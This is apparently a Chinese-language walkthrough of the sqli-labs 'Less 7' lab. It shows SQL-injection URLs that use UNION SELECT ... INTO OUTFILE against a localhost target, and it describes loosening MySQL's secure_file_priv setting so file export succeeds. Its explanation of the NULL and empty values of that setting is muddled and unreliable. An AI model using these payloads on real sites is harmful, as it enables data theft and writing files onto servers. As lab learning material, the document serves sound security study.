Less 7实验主要是:数据导出文件漏洞
为了便于学习,直接查看了源代码:
这里发现是')),所以直接输入
http://localhost/less-7/?id=1'))%23
返回正常。
同时也发现,这里是无任何回显的,无论是错误还是正常显示的信息。
从本节的名字:GET - Dump into outfile - String ,所以我们就从这个方向进行渗透。
http://localhost/less-7/?id=1')) union select 1,database(),user() into outfile "D:\aaa.txt"%23
一开始,无论怎么输入,都是无法导出文件的。这是由于没有导入导出的权限,原因是由参数secure_file_priv决定的。
这是MySQL的一个特性,secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。其中:
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制
在MySQL命令行中输入:show global variables like '%secure%';
这里是NULL,标识不允许导入和导出。
因此我们修改一下MySQL下的my.ini配置文件即可。在文件中加入:secure_file_priv=
然后重启MySQL数据库,然后再输入:
http://localhost/less-7/?id=1')) union select 1,database(),user() into outfile "D:\aaa.txt"%23
我们就可以看到导出的内容了。